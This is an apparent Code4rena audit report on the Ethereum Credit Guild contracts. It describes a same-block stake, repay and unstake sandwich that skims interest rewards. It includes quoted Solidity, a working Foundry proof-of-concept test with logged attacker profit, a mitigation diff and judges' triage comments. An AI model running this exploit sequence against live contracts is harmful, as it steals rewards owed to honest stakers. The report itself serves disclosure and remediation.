A malicious actor could steal some part of the interest with a sandwich attack

[c4-bot-3]

Lines of code

https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L142
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/governance/ProfitManager.sol#L396-L400
https://github.com/code-423n4/2023-12-ethereumcreditguild/blob/2376d9af792584e3d15ec9c32578daa33bb56b43/src/loan/SurplusGuildMinter.sol#L247-L269

Vulnerability details

Impact

A malicious actor could steal some part of the interest with a sandwich attack when a borrower repays a loan. The attacker carries no risk of slashing but enjoys free rewards. Using a flashbots service to carry out the sandwich bundles he can guarantee profit with 0 risk. The more funds the attacker possesses the more the rewards can be stolen.

Proof of Concept

There is no limitation for a user to not stake and unstake in the same block. Because it is possible to stake and unstake in the same block the malicious actor could sandwich the repay call from anyone as follows.

stake => repay => unstake

When a user stakes the getRewards for that user is called and the ProfitManager(profitManager).claimRewards(address(this)) is invoked for the SGM.

function stake(address term, uint256 amount) external whenNotPaused {
    // apply pending rewards
    (uint256 lastGaugeLoss, UserStake memory userStake, ) = getRewards(
        msg.sender,
        term
    );
    ...
}

This will update the userStake.profitIndex to the latest profitIndex

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    ...
    // compute CREDIT rewards
    ProfitManager(profitManager).claimRewards(address(this)); // this will update profit indexes
    uint256 _profitIndex = ProfitManager(profitManager).userGaugeProfitIndex(address(this), term);
    uint256 _userProfitIndex = uint256(userStake.profitIndex);

    if (_profitIndex == 0) _profitIndex = 1e18;
    if (_userProfitIndex == 0) _userProfitIndex = 1e18;

    uint256 deltaIndex = _profitIndex - _userProfitIndex;

    if (deltaIndex != 0) {
        ...
        // save the updated profitIndex
        userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex);
        updateState = true;
    }
    ...
}

• After the user stakes the repay call is executed. The repay call invokes notifyPnL(gauge, amount) with interest that is repaid as the amount variable. This updates the gaugeProfitIndex to a greater profitIndex.

function notifyPnL(
    address gauge,
    int256 amount
) external onlyCoreRole(CoreRoles.GAUGE_PNL_NOTIFIER) {
    ...
    // handling loss
    if (amount < 0) {
        ...
    }
    // handling profit
    else if (amount > 0) {
        ProfitSharingConfig
            memory _profitSharingConfig = profitSharingConfig;
        ...
        uint256 amountForGuild = (uint256(amount) *
            uint256(_profitSharingConfig.guildSplit)) / 1e9;
        ...
        // distribute to the guild
        if (amountForGuild != 0) {
            uint256 _gaugeWeight = uint256(
                GuildToken(guild).getGaugeWeight(gauge)
            );
            if (_gaugeWeight != 0) {
                uint256 _gaugeProfitIndex = gaugeProfitIndex[gauge];
                if (_gaugeProfitIndex == 0) {
                    _gaugeProfitIndex = 1e18;
                }
                gaugeProfitIndex[gauge] =  // <- HERE
                    _gaugeProfitIndex +
                    (amountForGuild * 1e18) /
                    _gaugeWeight;
            }
        }
    }

    emit GaugePnL(gauge, block.timestamp, amount);
}

• Now as a third call the unstake is executed

function unstake(address term, uint256 amount) external {
    // apply pending rewards
    (, UserStake memory userStake, bool slashed) = getRewards(
        msg.sender,
        term
    );

    ...
}

• Here the rewards are calculated for the user unstaking and minted out. Calculations are made based on the profitIndexes. Since the global index was increased after the user staked it is now greater than the userProfitIndex which results in the deltaIndex > 0. User get rewards minted having only staked before the repayment.

uint256 deltaIndex = _profitIndex - _userProfitIndex;
if (deltaIndex != 0) {
    uint256 creditReward = (uint256(userStake.guild) * deltaIndex) /
        1e18;
    uint256 guildReward = (creditReward * rewardRatio) / 1e18;

    if (slashed) {
        guildReward = 0;
    }

    // forward rewards to user
    if (guildReward != 0) {
        RateLimitedMinter(rlgm).mint(user, guildReward);
        emit GuildReward(block.timestamp, user, guildReward);
    }
    if (creditReward != 0) {
        CreditToken(credit).transfer(user, creditReward);
    }

    // save the updated profitIndex
    userStake.profitIndex = SafeCastLib.safeCastTo160(_profitIndex);
    updateState = true;
}

Coded POC

Add this test to SurplusGuildMinter.t.sol file and add import import "@forge-std/console.sol";

Run with forge test --match-path ./test/unit/loan/SurplusGuildMinter.t.sol -vvv

function testStealRewards() public {
    address bob = address(0xB0B);
    address alice = address(0x616c696365);

    vm.prank(governor);
    profitManager.setProfitSharingConfig(
        0e18, // surplusBufferSplit - remains on profitManager
        0, // creditSplit
        1e18, // guildSplit - remains on profitManager
        0, // otherSplit
        address(0) // otherRecipient
    );

    // Bob represents a cumulative stake from multiple users
    // So 10000e18 is not his stake but a stake from all users currently staking
    credit.mint(address(bob), 10000e18);
    vm.startPrank(bob);
    credit.approve(address(sgm), 10000e18);
    sgm.stake(term, 10000e18);
    vm.stopPrank();

    // Someone repays a loan and the interest is transferred to the profitManager
    credit.mint(address(profitManager), 2e18);
    profitManager.notifyPnL(term, int256(2e18));

    // Users claim their rewards - an unnecessary step
    // sgm.getRewards(bob, address(term));

    // This is the credit token balance of Alice
    // The more balance she has the more she can steal
    uint256 alice_credit_balance = 21e18;
    credit.mint(alice, alice_credit_balance);
    uint256 credit_balance_alice_before = credit.balanceOf(alice);

    // ---------------- MALICIOUS SANDWICH ATTACK ----------------
    vm.startPrank(alice);
    credit.approve(address(sgm), alice_credit_balance);
    sgm.stake(term, alice_credit_balance);
    vm.stopPrank();

    // repay call
    credit.mint(address(profitManager), 35e18);
    profitManager.notifyPnL(term, int256(35e18));

    vm.prank(alice);
    sgm.unstake(term, alice_credit_balance);
    // ---------------- END MALICIOUS SANDWICH ATTACK ----------------

    // Users claim their rewards - an unnecessary step
    // sgm.getRewards(bob, address(term));

    uint256 credit_balance_alice = credit.balanceOf(alice);

    console.log("Alice credit balance before attack:", credit_balance_alice_before);
    console.log("Alice credit balance after attack :", credit_balance_alice);
    console.log("--------------------------------------------------------");
    console.log("Alice profit                      :", credit_balance_alice - alice_credit_balance);
}

[PASS] testStealRewards() (gas: 770641)
Logs:
  Alice credit balance before attack: 21000000000000000000
  Alice credit balance after attack : 21073163448138562572
  --------------------------------------------------------
  Alice profit                      : 73163448138562572

Tools Used

Manual review

Recommended Mitigation Steps

Prevent users staking and unstaking in the same block to receive rewards even if there is profit from the repayment, as normal users wouldn't do that. Or add a minimum stake time.

function getRewards(
    address user,
    address term
)
    public
    returns (
        uint256 lastGaugeLoss, // GuildToken.lastGaugeLoss(term)
        UserStake memory userStake, // stake state after execution of getRewards()
        bool slashed // true if the user has been slashed
    )
{
    ...

    // if the user is not staking, do nothing
    userStake = _stakes[user][term];
-   if (userStake.stakeTime == 0)
+   if (userStake.stakeTime == 0 || userStake.stakeTime == block.timestamp)
        return (lastGaugeLoss, userStake, slashed);

  ...
}

Assessed type

Timing

[0xSorryNotSorry]

The issue is well demonstrated, properly formatted, contains a coded POC.
Marking as HQ.

[c4-pre-sort]

0xSorryNotSorry marked the issue as high quality report

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #877

[c4-pre-sort]

0xSorryNotSorry marked the issue as not a duplicate

[c4-pre-sort]

0xSorryNotSorry marked the issue as duplicate of #994

[c4-judge]

Trumpero changed the severity to 2 (Med Risk)

[c4-judge]

Trumpero marked the issue as satisfactory